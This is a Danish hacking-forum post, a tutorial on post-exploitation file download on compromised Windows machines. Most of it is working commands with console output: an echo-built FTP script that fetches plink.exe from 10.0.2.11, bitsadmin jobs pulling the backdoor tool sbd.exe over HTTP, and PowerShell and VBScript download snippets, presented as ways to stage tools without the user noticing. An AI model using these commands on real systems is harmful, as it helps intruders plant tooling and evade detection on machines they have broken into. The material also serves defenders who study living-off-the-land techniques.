Tråd bedømmelse:
  • 1 Stemmer - 5 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
Windows postexpl. - Filedownload med BITSAdmin Tool
24-01-2016, 18:58 (Denne besked var sidst ændret: 24-01-2016, 19:00 af iTick. Årsag: Stavefejl rettet )
#1
Windows postexpl. - Filedownload med BITSAdmin Tool
Mål:
Hvis man får adgang til en Linux shell, er det ofte rimelig trivielt at downloade yderligere værktøjer til maskinen. curl, wget, ftp, tftp osv., er ofte tilgængelige.
På windows er det en lidt anden sag.
Er man på en windows XP maskine, er der en god chance for, der f.eks. er en ftp klient, men nyere windows har ikke disse tools installeret som standard.
Ellers ender man ofte med at paste et Powershell, eller VBScript over i kommando prompten, for at kunne downloade filer. Ja, der er selvfølgelig andre måder at gøre det på. F.eks. kan man gøre det med Internet Explorer, men det er synligt for brugeren, der sidder ved maskinen.

Udfordring:
Ofte er den kommandoprompt man får, ikke rigtig interaktiv, hvis man f.eks. benytter Metasploit til at spawne den, så man kan ikke tale med en "ftp" prompt.
Skal man hente filer via ftp på en XP maskine, vil man skrive noget ala:
Citer:C:\Documents and Settings\test>ftp 10.0.2.11
Connected to 10.0.2.11.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 23:58. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
User (10.0.2.11:(none)): infosec
331 User infosec OK. Password required
Password:
230 OK. Current directory is /
ftp> bye
221-Goodbye. You uploaded 0 and downloaded 0 kbytes.
221 Logout.

C:\Documents and Settings\test>

Men her kommer problemet med at kommandoprompten ofte, ikke er rigtig interaktiv, så man når aldrig at udstede en GET kommando. Som jeg så har misset oven over, kan jeg se!
Du får lov at give brugernavnet, men når FTP serveren beder om en kode, hænger det hele.
Heldigvis har ftp klienten til Windows en -s switch, som gør, vi kan angive en fil, som agerer input for os.
Så hvis man paster følgende ind i kommandoprompten, får man en ftpcmd.txt fil, som ftp så bliver aktieret med:
Citer:echo open 10.0.2.11>ftpcmd.txt
echo infosec>>ftpcmd.txt
echo SomePassword>>ftpcmd.txt
echo bin>>ftpcmd.txt
echo GET plink.exe>>ftpcmd.txt
echo bye>>ftpcmd.txt
ftp -s:ftpcmd.txt
del ftpcmd.txt

Ovenstående åbner en FTP forbindelse til 10.0.2.11 med brugeren infosec og koden SomePassword.
Der efter henter den filen plink.exe fra FTP serveren og sletter ftpcmd.txt filen.
Man kan overveje om man vil smide /F eller /Q på "del" kommandoen i scriptet.
Så man kan rette tingene til, som man synes.
Kig lidt på ovenstående og læg mærke til "echo" kommandoerne og output redirection med ">" og ">>".

Filen ftpcmd.txt vil se ud som her:
Citer:open 10.0.2.11
infosec
SomePassword
bin
GET plink.exe
bye

Filen vil blive eksekveret af "ftp -s:ftpcmd.txt" og efterfølgende slettet af "del ftpcmd.txt", de to sidste kommandoer i vores paste.
Man kan gøre som ovenstående med andre scripts og få det samme ud af det.

Problemet:
Måske er der ikke åben på port 21 i firewall egress regler, eller måske er FTP klienten ikke installeret, eller hvad det nu måtte være.

Løsning:
Jeg skal ikke bruge ordet alle, men som i ved, så har lagt de fleste maskiner adgang til Internettet på port 80.
Som nævnt tidligere, kan man snilt finde et script på nettet, der kan gøre det, og jeg har selv gjort det sådan i lang tid. Jeg faldt så over BITSAdmin Tool, som er bygget ind i windows. Det er deprecated, men det findes, selv i Windows 10, og virker fint.

Jeg vil ikke skrive så meget om, værktøjet i sig selv, da jeg har posted et link til Microsoft, hvor det er beskrevet.
Jeg vil dog nævne, det virker ved, man laver et "job", som i kan se her under, hvor jeg downloader sbd.exe filen:
Citer:C:\Users\John Doe\tmp>dir | find "sbd.exe"

C:\Users\John Doe\tmp>bitsadmin /create /download SomeJob

BITSADMIN version 3.0 [ 7.5.7601 ]
BITS administration utility.
© Copyright 2000-2006 Microsoft Corp.

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.

Created job {3C523925-381F-468D-BB7C-78049B35F9F3}.

C:\Users\John Doe\tmp>bitsadmin /addfile SomeJob "http://10.0.2.11/sbd.exe" "C:\Users\John Doe\tmp\sbd.exe"
...crop...
Added http://10.0.2.11/sbd.exe -> C:\Users\John Doe\tmp\sbd.exe to job.

C:\Users\John Doe\tmp>bitsadmin /list
...crop...
{3C523925-381F-468D-BB7C-78049B35F9F3} 'SomeJob' SUSPENDED 0 / 1 0 / UNKNOWN
Listed 1 job(s).


C:\Users\John Doe\tmp>bitsadmin /resume SomeJob
...crop...
Job resumed.

C:\Users\John Doe\tmp>bitsadmin /list
...crop...
{3C523925-381F-468D-BB7C-78049B35F9F3} 'SomeJob' TRANSFERRED 1 / 1 50176 / 50176
Listed 1 job(s).


C:\Users\John Doe\tmp>bitsadmin /complete SomeJob
...crop...
Job completed.

C:\Users\John Doe\tmp>dir | find "sbd.exe"
11-10-2015  00:57            50.176 sbd.exe

C:\Users\John Doe\tmp>

Man skal selvfølgelig have en server, at hente filerne fra.
Om man starter en minimalistisk webserver med "python -m SimpleHTTPServer 80", eller bruger en full blown webserver, burde ikke gøre nogen forskel. Jeg brugte Apache2.
En ting man skal være opmærksom på, er at filen ikke ligger i destinationsfolderen før man completer jobbet.

Så fremgangsmåden er:
1) Lav et job med "bitsadmin /create"
2) Tilføj en fil til jobbet med "bitsadmin /addfile"
3) Sæt jobbet i gang med "bitsadmin /resume"
- Disse jobs er i suspended mode, når de er lavet. Så man kan smide filere filer i, inden det kører.
4) Når downloaden er færdig, sættes jobbet completed med "bitsadmin /complete"

"SomeJob" er jobbets navn, og er tilfældigt valgt. Man kan have flere jobs kørende på een gang. Man kan godt bruge samme navn til flere jobs, men så kan man ikke længere bruge jobnavnet, men i stedet "{3C523925-381F-468D-BB7C-78049B35F9F3}", i dette tilfælde.
Kommandoen "bitsadmin /list", viser en liste over jobs.
En anden kommando, der kan være interessant, er "bitsadmin /monitor", da den viser hvor langt, jobbet er kommet. Men den opdaterer sig selv og skal afbrydes med CTRL^C, så den er ikke så praktisk i en kommandoprompt. Slet ikke, hvis man kun har en enkelt prompt. Så er det bedre at benytte sig af outputtet fra "bitsadmin /list", for at se, om filen er hentet.

Skal man kun overføre en enkelt fil, kan det nok gøres med:
Citer:C:\Users\test>bitsadmin.exe /transfer SomeJob "http://10.0.2.11/sbd.exe" "C:\Users\John Doe\sbd.exe"

Gåseøjne er kun nødvendig, hvis man har et eller flere mellemrum, et sted i sti/fil navnet.

Mere:
En af de ting, jeg synes der er smart ved BITSAdmin Tool, er at man kan adde flere filer til et job. Man kan bare gentage "bitsadmin /addfile" kommandoen.
Det er også asynkront, så det blokerer ikke din prompt, mens man venter, i tilfælde af, det er en stor fil man downloader.

Man kan gøre det på flere måder med PowerShell, men nogle af dem er versionsafhængig.
Her er et eksempel:
Citer:$client = new-object System.Net.WebClient
$client.DownloadFile( "http://10.0.2.11/", "sbd.exe" )

Her er et VBScript eksempel:
Citer:dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://10.0.2.11/sbd.exe", False
xHttp.Send

with bStrm
   .type = 1 '//binary
   .open
   .write xHttp.responseBody
   .savetofile "c:\Users\test\sbd.exe", 2 '//overwrite
end with
Ovenstående gemmes f.eks. i "get.vbs" og startes med "c:\>cscript get.vbs".
Begge eksempler er respektløst stjålet fra nettet.

VBScripts skal køres fra en fil, så det letteste er nok at gøre som med FTP scriptet, og paste det ind i kommando prompten.
Altså bruge "echo" og pipe indholdet ud i en fil med ">" eller ">>". Jeg bruger altid ">" på den første linie, så jeg overskriver den lokale fil, hvis jeg paster igen, og så ">>" på resten.
Det er meget rart, hvis man får lavet en fejl.

Links:
BITSAdmin Tool - MSDN
VBS Download
PowerShell Download

Ja, det er rigtigt. Den har været i VIP sektionen, men jeg har brugt tid på at skrive den, så kan det være nogen her kan bruge den. :)
---
Writing a shellcode decoder stub in assembly is like talking gibberish in such a way that it is still perfectly intelligible. - iTick
Besøg denne brugers hjemmeside Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: